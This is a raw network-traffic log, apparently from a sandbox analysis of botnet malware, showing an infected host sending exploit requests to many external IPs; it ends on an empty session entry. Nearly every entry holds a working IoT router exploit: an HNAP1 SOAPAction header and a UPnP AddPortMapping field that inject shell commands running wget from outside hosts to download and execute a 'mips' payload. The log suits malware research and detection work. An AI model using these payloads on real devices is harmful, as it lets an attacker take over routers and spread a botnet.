68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:53:20.352458000 CEST	785	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
822	192.168.2.13	46332	109.36.156.187	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:20.157221079 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:23.300404072 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:29.440399885 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:41.472397089 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
823	192.168.2.13	56782	94.121.73.158	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:20.188641071 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
824	192.168.2.13	45922	139.39.117.116	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:20.466773033 CEST	785	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
825	192.168.2.13	56806	94.121.73.158	52869

Timestamp	Bytes transferred	Direction	Data
